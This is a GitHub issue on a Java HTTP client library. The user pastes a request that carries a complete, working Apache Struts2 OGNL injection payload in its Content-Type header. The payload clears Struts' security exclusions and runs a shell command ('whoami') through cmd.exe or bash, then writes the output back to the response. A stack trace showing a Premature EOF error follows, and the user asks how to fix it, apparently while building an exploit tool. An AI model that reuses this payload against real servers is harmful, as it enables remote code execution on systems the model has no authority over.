Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

java.io.IOException: Premature EOF #167

Open
Ares-X opened this issue Jan 19, 2021 · 0 comments
Open

java.io.IOException: Premature EOF #167

Ares-X opened this issue Jan 19, 2021 · 0 comments

Comments

@Ares-X
Copy link

Ares-X commented Jan 19, 2021

Request

HttpRequest.post("http://127.0.0.1:8080").header("Content-Type","%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}").body();

Response Exception:

Exception in thread "main" com.github.kevinsawicki.http.HttpRequest$HttpRequestException: java.io.IOException: Premature EOF
	at com.github.kevinsawicki.http.HttpRequest$Operation.call(HttpRequest.java:717)
	at com.github.kevinsawicki.http.HttpRequest.copy(HttpRequest.java:2626)
	at com.github.kevinsawicki.http.HttpRequest.body(HttpRequest.java:1764)
	at com.github.kevinsawicki.http.HttpRequest.body(HttpRequest.java:1779)
	at com.aresx.javakiller.core.cmd.PayloadTest.main(PayloadTest.java:29)
Caused by: java.io.IOException: Premature EOF
	at sun.net.www.http.ChunkedInputStream.readAheadBlocking(ChunkedInputStream.java:565)
	at sun.net.www.http.ChunkedInputStream.readAhead(ChunkedInputStream.java:609)
	at sun.net.www.http.ChunkedInputStream.read(ChunkedInputStream.java:696)
	at java.io.FilterInputStream.read(FilterInputStream.java:133)
	at sun.net.www.protocol.http.HttpURLConnection$HttpInputStream.read(HttpURLConnection.java:3444)
	at java.io.BufferedInputStream.read1(BufferedInputStream.java:284)
	at java.io.BufferedInputStream.read(BufferedInputStream.java:345)
	at java.io.FilterInputStream.read(FilterInputStream.java:107)
	at com.github.kevinsawicki.http.HttpRequest$8.run(HttpRequest.java:2619)
	at com.github.kevinsawicki.http.HttpRequest$8.run(HttpRequest.java:2613)
	at com.github.kevinsawicki.http.HttpRequest$Operation.call(HttpRequest.java:711)
	... 4 more

how to solve that?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant